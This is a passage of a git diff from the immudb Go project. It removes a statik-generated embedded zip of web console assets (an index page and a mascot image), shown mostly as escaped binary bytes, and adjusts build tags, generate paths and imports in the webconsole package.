\xc16\xaf\xaar\x16\x8d\xc6\x96+\xa0\xd8\x1c\x11\x93\x861\xba\xfa\xe1\x89m\xf52e6\xe0\x1fY\xf5\xce\xbeL_2\xd7d.bh.\xc7t\xe4\x03\xb6\xea\xa8TATl}\x1f\xef\xf7\x05\x1d\xf9\xeb\x9fc \xd9}(\xe6\xf8)\x151(T\x14`%\x8fn)aU\xae\xf5\xfa\xa5\x18\xef4\x895WbFAg\xd1\"\x99\x82@\xe8\xb2\xf1\x1a\xb0\\vO1\xb9T\xd0CwEY\x12.\xf3\x11\xfcn\xeb\xa5T\xac\x11x\x1e\x8f\xe85\xdb\xc2\xf3\x84;K\xc4:\xffn1\xe8\xe3\x9by\xac\xf3\xd1u\x05\xc7O\x97?0pc\x06\x06\x0f\xae\xce\xfcT=\xcbwWd\xd9v\xb2~\x9aC?\xffT*C\x7fb\xa1=k!>\xf8\x9f\xc5[\xc8\xb8\x01\x84\\_+.\x87\xd5tF\xfe\xa0\x96\xc1\xac\x88\x13ZF\xe6 \x8f)\xb5uW\xdb+!\xdb\x9en\xc7Q\x9awO\xf9\x1b\x0bE\xdb_uE\xe1\x1c\xcfK\xf49e\xf9H\xee\xe8\xb536\x93\x16\xa6F\xd3\xc9r${\x9ar\x91\x08}'\x84\xad:l\xeb\x85\xe6+\x81\xb1\x1d\xd7\xda\x0cRYfO\x06\x94\x14\xa9{\xc6\x9b\xc4\xcf!z\xb9\xa6\xbfW\x0bk\xabg\xc7\xe9\xe5\xbf>\x0d\xa8\x04D\x06\xfd0\x15\xc8\xef\xdcr\x9a\xe4q\xae\xf8v\x90\xbd\xc4x\x87j\xc1\x96\xb1o\xce\x9d\x1b1l\xb6\x0e\xc0E\xec2\xc8D\x12\x10N\xe0\xa3\x19,\xdab\x07\x8a\x8b|\xf8!\xb2\xd0\xa9Z\xf6\x0b\x89h5\x15K4\xf9\xd5\xa3\x01\xf9\xe7\x01B\xf0\xa7\x06\xf9L\xb1L\x0d:6\xc9jL\xb4G~y\x83\x8b\xfbt\x1a\xafy`\xa4\x15\xf2V\\`4\xb1\xed\x84\xc3n\x80\xf1\x9f\xc6\xba&`\xbfaU9\x82\x94\x8cN\xf0\xc6\xe6%\xff\xbe\x85b\xde\x19\x95/is\x80=\xf9xo\xad\xf1\x9a\x17>\xe3\x87\xa3\xdfbm\xce\x15\xe1\xa9\xbf\x87\xf0\xf78W\xce\x04L\xf7^\x9a\x18\xc7}\x8e_\x14N\x1b~\xe9\x9e\x19\xf0f \xba\xce\xf8\n\"\x15\xde\xbb\x9d\x82\xd5\x04\x94\x7fK\xb0(\xb6\xf8\xada6\xe4\xf6\xdf\xbdosp\xc6\xcf\xb6\x98:\xb4%x\xc9\xb9\xa2\x97\x7f\xf6\x0dbk\x9e\xf2g\xe2\xddK\x13c\x8d\x8dN\x95\xd8l\xf2\xc2$\x931\xe2\x88\xa8/uK\x02\xb0+_?\x89]\x14\xb2d\x1c\xd5R^\x17\xb1\xe1\x8a\xdeB\xe0\x10T[\x7f\xaf\xf1)\x8d\x03\xff\xcc!a\xf4k\xf6\x97\x94L\xa7\xa7Pp\xaf|\"nz\x0f\x8e><\xa9\x15\x0d:\xe7\xa3\x07\x99g\x15'\x00W0\x95\xb9\xfd\x0c\x8cb>Z\xcf\xec\xb0\x08\x00Y\x0c\xbf\x7f=\xa3N\x87\x86\x06\xb3\xe1\xc4\x01x!\xbf\x8a\x1a\xac\\\xa9\x19\x9c\xc8C\xb2.=\xf4\xec\x157u]\x7f\xfaTM\x02\xfb\x9d\xbbN\xd4\xa0g\xa5*p\xa8\xe9\xa0M\xc2\xdb\x86\xa4\xd4\x87\xf9B\xd2\xb7Q\x04\x96\xbfV\x08X\xb5\x07e\xb4}\x829\x8c~\xa5\x9b\xd1\xac\x97\xb7\xb7\xa7|\xc5L\xbe\x16[e\xec\xc9\x7f\xdf\xec\\\xd1Ej9, \x05\xe3\xdfg)\xfbEW\xcekT\xdbr\x11\xc3\xbc\x9c \x95;G%\xd9 \xc2\xbc\xfd\x95D\x80\x19\xcb5\x16e\x9as\xce\xcd\xd5\xb9\xbdE\x0d\xc6>g\xe5\x7fo5\xb4q\xca\xe2\x06^\x13P(^\xa45~A\x19u\x08\xdaA\xcbnYi\x00p\xfa\x1a\xe8\xbd\x87\xf3\x9fU\x03\nB++t\xda\xf3\xb7$\xfaq\x93\x1dNRC\x8a\xa9\xbf\xbd\x14\x82e\x98X\x04\xb7\xa1\x81\xee\x1e\xce>\xe9?]\x82\"\x8c\xe3=\xdb_\xe4f\xd8\xa4\x08 \x10M9\xd0*~}-$\x96\xa6\x19\x8b\xbc\xc2\x0b\xb2\x9c\xbe\xe7<<\xc58\xfad\xdd\xb6\xffxF\xc0}\x0b\x88\x8c\xf4\xa0\xeb\x8d\xc5\xf31o\xe0\x91{ \x1f\xa2\x93J\x15\xebz\x0f\x88*\xcez\xf322p\xc0\xd9^\x18\x9f\xbbn\xa0\n\xb2\xd0\x88\xf6\xf6K\xce\x87K\xbd\xd0v\x19\xe5\x81\xbf\x1c$VE\xc2\xba`\xa7\xf6\xed}\x9fSh\x02j\xfa\x88\xdb\x81\x8c\xde\n\xf2\xd9\xbc1x\xea\xe2\xd9\xa6N\\\xac\xa6!\xe7F\xf1c\x06Z2\xea\x15\x19E\x14c\xf2\x03\x1a\xfc\x18\x1a\x84\x04\x9b\x1dP\x12\\\xe0\xab\x86\x0b;;\x91PV\x9e\xa7\xa3\xe5\xa2\xb5Z\x1a\xb9\x8e\xa5\xa5\xf9g\xa8\x8c*\x84l\xd7n\xf2)\xf1\x18c7\x12LV\xf0\xe1j\xfe\xa5\xdeI\xc2Q.\xc9\x8aiB\xab\xb2\xad\xb7@Np\xb8\x17\xd8\xa0p\x98<\xe7:\x91.\x19:\x9b\xc2\x0f\xcb\x01\x97\x8cP\xba\x027\x11\xab\xadg%\xfc/[sH\xb0\xe9P\xcb\xa6\xaa\x96um\x98\xf4\x85D\x83_\xb78w\xabV\xf5h\xe3\xc0\x8d'-\x08\xaf5\x9f\xc4\x84\x13\xbaK\x9bI\n\xb4\xa8\xdb\xedb\xff\xbd\x10\x8d\x0e\xbb\x14\x9b\xa7CzX\xeb\xfc\xa7\x96\x8a\x0f\xff\xd8\x1dh\xcc.\xf7&\x8a\xf0\xd5\x17\xab3\xaaB\xf7\xd4S\xdb~\xb7\xce\xcd\xd3\xcb\x8cU %6G\xe3\x01w\xdeb\x1d\x195k\x84\xc5$]\xb9y\xcd ~\xd1\xf43\xa0\xca\x9b<\xe3\x0f\xe4\xaa\x93U\xee\xae\x1cP\x84\xdf8\x9deM\x88\x8b0_\xac\x8b\x92\xc5\xec\xc4$\x89\x9b\xae&`p\xe97\x98\xebO\xf8\x08x\x99#\xd2\xf3\xa6|,\xfc\x17\xd0{\x07\x05s\xfd\x12lIk=\x92\xec|\xf6\xc7uU}k\x8a\xb9\x90\x08l;\xdf4\xe9L\xcd6\xfaa\xef7\xdaZ\x98GH\xfe\x84\xec\x80D\xe5\xafw\xd0\xda~\xa7\xb8\x05&\xbd\xa23$,J\\y(\xfa\xbe\x9a\x9a\xdc\x1d\xe9N\xf7wH#J@2Q\x7f\xec\xbb\x97\xc8\xa7\xd9\xfe\x01\xf3\xed\x92|L\x91\x0d\xf8rJG\xa6\x0c\x0d\xda\xd1\xac\x9e5\xf2F\xce\xa4z\xeb\x96\x0c~V\xa2\x1d\xa9\xb1C\xf5O\x8fq&\xab\x91\xdff\xd1,\x03\x05\xa8\xf8\xd9\xf8\xf4\x8d-\xc4\xd2\x1boc2\x81u\xcb\xd3`\x91s\xab_\xbdv\xd4\x7fdpw5\x81`\xcc\x8fS\xe3\x97\xb7\xe2\xe2\x0b-J\xe1\xeb@\xf1\xa4\x1e\x9a\xf7\x06v\xd2v\x07vG\xb1\x97\xefl?\x82\xe0`\xe8\xf9J\x10\xb6\xfeg\xb1\x1cg? \xb9He^\xf6\xebS\x0e\xe5\x1eK&\xf5\x816 l\xec\x9d['r\xf9\xd0\xe5y\x9aB\x05\x1f\xd3\xc2\xc9\xa5\xc7M\x7f6\x1c\x19D\xdf[\xeb\x7f\xc0\x06\x88+a\x83\x7f\xfd\\X;\xc7k\xba\xf87\xcc\x81\xe32 M\xd8\x8fQ\xe7\xff\x02Y\"N\xdfokk\xd3?\n2\x19\xc2U\xe8=(\xc4\nG\x8fl\x19Y\xfc\x98\xefTp[E!\xf4\x8ee\nt\xffQ\x9f\xb0\x95\x1bR\x83q\xbe=\xdd\xdcE[\x89i\x03\xdd\x8a+\x94\x12\xff\xca\xa9\x0c\x10\x1d\xc6\xcfC\xc1N\x18\xc2\xd8\x1f:\xa9\xc0R\xf0\xe1\x9d\xfa\xd5\xe5\x87J\"`r\xdc\xc7\n2\x8c\xc2\x88u\xccw+l\xe5\x014\xc1N\x1fY\n\xb0\xf3\xcc\x1d\x06un{\x16\xa2\xf9\xd6\xd3B\x03uF\xb1\xc7\x1eV\xb6'!\xac/;.8\xac\xf2\xf4\x0dk\x067\x1b=~=\x10\xe6\xac\x01MQ\xebY\x9b\x9f\n\xe2$\x1883\xab`Y\xeaA\xb8\xa8\xac\xe8\xc6|\xff\x8a]\x9a\x08\xce\x82\x9c{\xa4\xa2\xe3\xc2\xd2\x10\x7f\xbb\xbf\x8a\xd9xR\xbc\xec\xf3\x92]h\xe1P\xfd\x8eT5~\xfe\xd3\x0d\xdf|\xd0O6\xbb\xef\xe9\xc9\xb7\xc8\x1f\x8f\x96d\x19\x88.\xe89i\xfd.\x91\xbc.w\xf8\xfd\xa4\xf3\xe3\xc2\xa8\x84\xedaN\xf0\xe1\xe8\x0f\x15F\x05\xf2\x9c[\x7fxR\x10\xad\xcc\x9d\x91k\xaf$\x01\xa2\xfb\x9dW&\xfad\xe5\x0cc\xbf\xe5aK\xb7\\\x9c\xaa\xf3+\xe77\x0e&\xa7\xfd\xe1\x0d\x1d\x17=\x05\xb2[\xb5\xfa\xf3\x13\xdcr\xc3=\x15]\xb4n\xbc\xba\xa3 \xb8F\xe4oLVEU\x886Qo\xc0UH\xb01\xe2N~\xe1\xf7\x08{\xd8q\x1b\xb2?\xe3\x89\x14'\x9c\xaa\x86\x1dZ\\\xbcn\x94\xd9\xdd\xfd\xee\xb2\x98\x87=\xf1\xd542\x8a\x1e\x1fG@ww\x15\xff]s\x87\xd5%\xea\x06\xe9!\xe4\x90at$ \xae\xe2{\xc1]=\xda\xacXa\x8fa\x10\xb7\x89\"\xb1o\xab\x14\xe6c\x1a\xdco\x1b\xc0VR\xc0\"\x0f\xfc\xb3E\x1d\xdeSPO\x0d\xd6-\xe6{\xd02\xb0\xdf`\x01eUS\x87\x9bL\xf7\xe4*k\xaf\x17^\xf2\x07\xf5\x9d2S\xc7\x96\x8a\xecl|\xbb\xfa\xa4\x1d!\xbd&\x04jg\xd8\x80\xf6\xc5\xc4b\x1b\xc9\xf0\x95k\x96\x04\xe6{7\x14\x87\xc3x\xb2\xde\x05\xea\xd8\x95\x0d\xafg\xbf\x1as\x89\xff=\xfd\"N\xc5\xe1)F<\xca\x82\xe53\x11\"\x16\x88\x143m\xa8a4Y})**2\x85\x13F^2\xecQ\xc8MM\xc4\xac\xa0\x14R\xa8;\xd8\xb6\xb8\x87O\x16\xbb*\x0f\xec\xf7\xeb\x87m\xe9o=\xb5\xce%\xfe\xaa\x81\xf8\xd2\xf0\x0b|YT\x84m\x9d\x18\x93\x95q\x0d)\x0evP\x1c\xf21wH\xd5\xdf\x8bk\xb6\x14DvM\xf4j\xfc\x12n\xc9}>\xc0\xd1\xfdeE\x00\x1c\xc6b\xf1\xc6Vy\xc9pl\x9f\xa7\xe0B\xf8\x06P\xda\xd5\xe2\"\x8f$|n\x1b:\xb84Uh9o\",\x0be\xfe\xb6\xa6\xcaH\x87\xfb \xd6cd\xc7\xce\xe7\xfdQP\x1d\xf6\xec\x1a\x93\\\xa1dw\x13\xfa\xb4l\xf2\xd1\xa1\x8c\xd0\xbeZr'\xd8q\x0d\x98{\xc17\xdd\xd3\x10\x1fn\xe8\x95\xa0\x1at\xba\xb2?\xd5\x1f*\xf9\xfa\xc6\xd0\xf1\x05\xcb7\xf9MU\x88\x8d40G\x9cD\xb9l\xfe\xf6i=\x93\x02\x1bwN\xaen)\xf0\xad\xd6\xe8\xb9\xa2z\x0c\x97\xd6?\xd7\xa5\x13\xeag\x88\xbe\xb6\xf9\\\x8e\xf6\xd2\xac\x84\x83\x93\x95\xf5\x85\x8do\x97\x070\"\xcb\x84?\x9b\xd9\xfb\xfbr\xc4\x11\x9c\x18\xea\xa2\x15\x04\x0dG\xd4\\\xc6\xfb? \x0fh\xe1\xdbo\xcb]\x97\x06\xba\x0c\xeb9\xe6\x8e\x7f\xde\xc4\xc7\x0e\xa9\xa8\xb1\x82\xcc\xf4\xc1`\xc0\xafrc\xf9\xb6\x8e\xeb\xea|-7}\x0f\xd1\x08%_\xb7V\x8b\xdeS\xed\x8e\xb0 \xb8\xb2\xfb\x92J{z\x8f#\x0d\xc0\x81r\xf3E\xf2\xe5\xa4\xb7\xdcV\xd2\x12.T\xed\x05EQ\xcf\xf1\x8c\\;u\x8b\x1a\x94\x84\x8b\x85Kw\xdaq\xcbu\xdf\x7f\xc5\xf6\x18c\xefx\x1b\xf8\xaf\x80\xe9\x93\xc6\xcb\x9c\xf0(\x90\x94\xd4*W\xc4\xbf\xa0\x1a\xd4A.l/\xd5\xa9})A[\xd8\\\xad\xbdkn\x9d\x88~ 9\xde5\xc6\xdf\x1b\x96\xfc\xcd\xeb\xdb-\x9eF\xe5\x8a\xd7\xec\xcar\xb5\xdf\x8e}a\xa1\xb5 (\xecg9]=\x8c*W\x9c8t\x96\xe4\x836\x03\xe1\xc7g\xfb\xeb\x9d\xc2\xbd\xcf\xe3i%\xc0r\xd8Tn\x00\xe5\xc7\xdf\xb9\xfa\xfb\x95\x9d\x82\xe0\\\xe6/\xd5\x98\xa1\"\x8b\x05\xfa\xcc\x00\x02\x96\x14\xe4e\xc2\x05*\x0d\xe2K\x12\xf4\xe9u\xa4\xc8\x88\xaeg\xa1w\x80Z\xc1\xcb<\x0c\xd0\xc0\xfc\x1dE\xd6\xde\xc1s\xc32c\x0b\x1c\x88-\xbb\x8f\xe5\xe4\x7f\xbb\x07\xac\x9f\x0b\xed\xc5?+z\x97N\xa7O\xf0\xc8\xaa\x10\x87\xf5\xb90y\xef\xfc\x87\xa8Q\xaf\xa4[\xe3\xe4\x91d\x97Nf\xa4\xf1\xa5\x08\\\xc7\x95\x05\xf6\x02\x81k\xf7\x08\xe8\xdbc9X\xe0\x91\x13#X\xc4U\x04nd\xaco\xb1\xe8 un\x8f\xd3\x12.a\x1b\xc4\xc2k\n\xd2XY^\x0cU\x1a\x151\xf0x8\xd16#\x18\x18\xd5}\x85\x0f\x9d\xbdtT7\xccT\xcf[x\xccQ\xa3\x95\xa5\xf7\xdc\x16\xcc\xc5b\xee\x13.C\xcd\xf0\x9a=\xbe\xf9\x8d\xdb'wZ\x8bNy3\xbe\x11\xe5\xa0P\xe1MX\x82\x9b\xe3\xdc\x1e\xd7f\xd7wn#FBD\xfb\x0f\xafF\xf7\xd3\xe5dd\xb2\xb4n\x14\x05\xf8\x9f\"\x7f\x1a]L\xf2\x95\xa0\x04\xd7\x01\xc1\x166\x00 \x83\xbe\xc69\x19\xa8\x14\x027\x12\xfe~\x1f\xc0\xec\x93\xf4I\xe5?}\xc4\xd53\x00%ij\x9c\xd3\x01\n\xe72M\xcf\xe6-8C>\x05%-\xa4\xf7/\xf8\xb7\xc2\xce~A\x80$z\x9a\x1d1P\x8c\xe0\xcd\xe5I\xcem\xd4\xe3\x18\x8b\"~\xb0k\xda w]\x0c\xfd\xfer?\x0f\xf0>\xe0\xf1A\xd1\xc8CC\xa4\xf4\x05\xa4\x81SI5\xd3\x11\xe7\n\xb1\xe6\x80C9\xe8\xae\x9bZ\x16\x8c\x9e#\xf9\x83{>\xad\x85\x080V\\\x9b\x962z+\xe6}}\x0f\xa0\x04o'V\xa6\n<\x7f\xa6\xea=\x0e\x08\x8c\xffn(\xcdX\x1b\",Z\x1a(\x92\x1f\xf2\x18jY\x0e\xf2f\xdd\x1e/\x90\xe3F ,J\x9a\xad8\x9a\xa1\x8a\x11}o\x88\xca\xfb\xa4\"\x0e \x04\x87\xcc\x02\xeei\x06oE\xf2C\xae=Qc\xdf\x13\xcd\xa0\xb3\xbe\xbe\xd1\x93\xef\x18{\x16k\x90f\xea\xa9\x15\x18\x11\xca-~\x9c\x1e;J\x1a\x0dO\x17T%\xea\x0d\xec\xc6\xe6\x93\xe5\xb6\xad\xdf\xc5\xdd\xedR\xe5\xd4gn\xb2\xea\xb9\xa5\xaf\\\x17\x7f\xc7T\xa2{.R\x1c\xaf\xfb\x85\xd2\xe4\xe7\xacx\xbc\xe2\x04i\x80j+\xfaK\x1e-s\xc0\xc8\x87\x0dC\x86\x92by^t,\xa6\xad\xf0\xd8Z\xf1?\xf9I)\x1b\xe5sV\x05A\xe8\xe4\xbc\x0c\xcc\xd4\x9c\xb2\xb8\xd4\xca!\x90.t\xa0\xdd\x9b\xce~\x89\x91\x16\x85\x9f#D\xfa\x04\x92\xa6fm\xe5\xf1\x86\xfd\x81I\xe7\x9b+\xfa\xfbuN\xee4\xc4eV;\xcd\x88*\xb46\xf4N\x96\xb7\x8eD\xfa\xc81.\xab\xb1\x1f+\xf3=X\xe4\x8c\xffL\xf2~F]\xd1\xe3\x15\x18EV\xd0\x08\xc0wA\x19{\xf4\xd9Z\xd6\xcc\xd0\x0b^\xa1\xf7\xe5^\xbe.\xd4\x0c\xf2\xb9m\x92\x97\x83\x9b\x993#&T\xb8\xa0.\x89\xff\xf2\xfe\xb9\x0e\xa0\x88\x96\xebHb\xbf8\xcb\x923\xb8\x8aO\x17\xeb\xc9\x81\xc8\x1e\xab\xf1?\x8f4\x06\x0d\xaf\x16\xd7yzi2\x0d\x90x_\xd0\xe3\x83@\xa6C\xfe\xf2\xa6\xd2\xa2\xdaR2:\xc5M\x86\xcb\xe2\xbd\x0e\x99\x86$r\xce\xed\x0d\x83:A\xf4\x93t\xb3\xac[\xaf]\xbe\x0e\xd7Z\xf3/\xe4\xe8\xd7\xc8kJ^y5]D\x11\xf8D@\xda:\x18\xc9\x8d\xb5\x97\x07u\xf58\xb75H\xcaq\x1aQ,A\xc4\xf8\x0e`\x17~\xd3\xe2\x8c\x91D\xcc\x81\x1b\xe5\xcc\xd6!\xc6\xcc\xfe\xe4\xf5\x8a\x98\xc4\xcdz\xa4\x83J\x11\x9a\xee%\xc01\x92`\xd0\xe2_P2\x11\x9b\xd5\x93d\x046\x9f\x91\x97x$\x0b\x9e\xbc\xa5\x02\xc7V'\xaf\xe1-\xa1\xd6\x92\xbf\\\xd9\xcb\x9aS\xd5\x15TKT\x8e\xc8\xed=$\xac\x8a\x1fn\xd6\x85H\xfd\xf5k\xb2\x9f\x91\"\xd9\xa3i\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xe4HES\xaf\x13j\x89\x12\x02\x00\x00\x14\x04\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00missing/index.htmlUT\x05\x00\x01\xbd\x15\\aPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xabe\xdeR{\x86\x02V\x89p\x00\x00\x99p\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81[\x02\x00\x00missing/mascot.pngUT\x05\x00\x01bg\xdc`PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x92\x00\x00\x00-s\x00\x00\x00\x00" - fs.Register(data) - } - \ No newline at end of file diff --git a/webconsole/webconsole.go b/webconsole/webconsole.go index dac98e4da0..6c948021f6 100644 --- a/webconsole/webconsole.go +++ b/webconsole/webconsole.go @@ -1,17 +1,21 @@ +//go:build webconsole // +build webconsole package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsole -dest=../ -tags=webconsole +//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsole -dest=. -tags=webconsole import ( "github.com/codenotary/immudb/pkg/logger" - "net/http" "github.com/rakyll/statik/fs" + "net/http" + + _ "github.com/codenotary/immudb/webconsole/webconsole" ) +var statikFS, err = fs.New() + func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { - statikFS, err := fs.New() if err != nil { return err } diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index 58bb4e6e69..50ccd7fd39 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -1,17 +1,20 @@ +//go:build !webconsole // +build !webconsole package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsole -dest=../ -tags=!webconsole +//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsole -dest=. -tags=!webconsole import ( - "github.com/codenotary/immudb/pkg/logger" "net/http" + + "github.com/codenotary/immudb/pkg/logger" "github.com/rakyll/statik/fs" ) +var statikFS, err = fs.New() + func SetupWebconsole(mux *http.ServeMux, l logger.Logger, 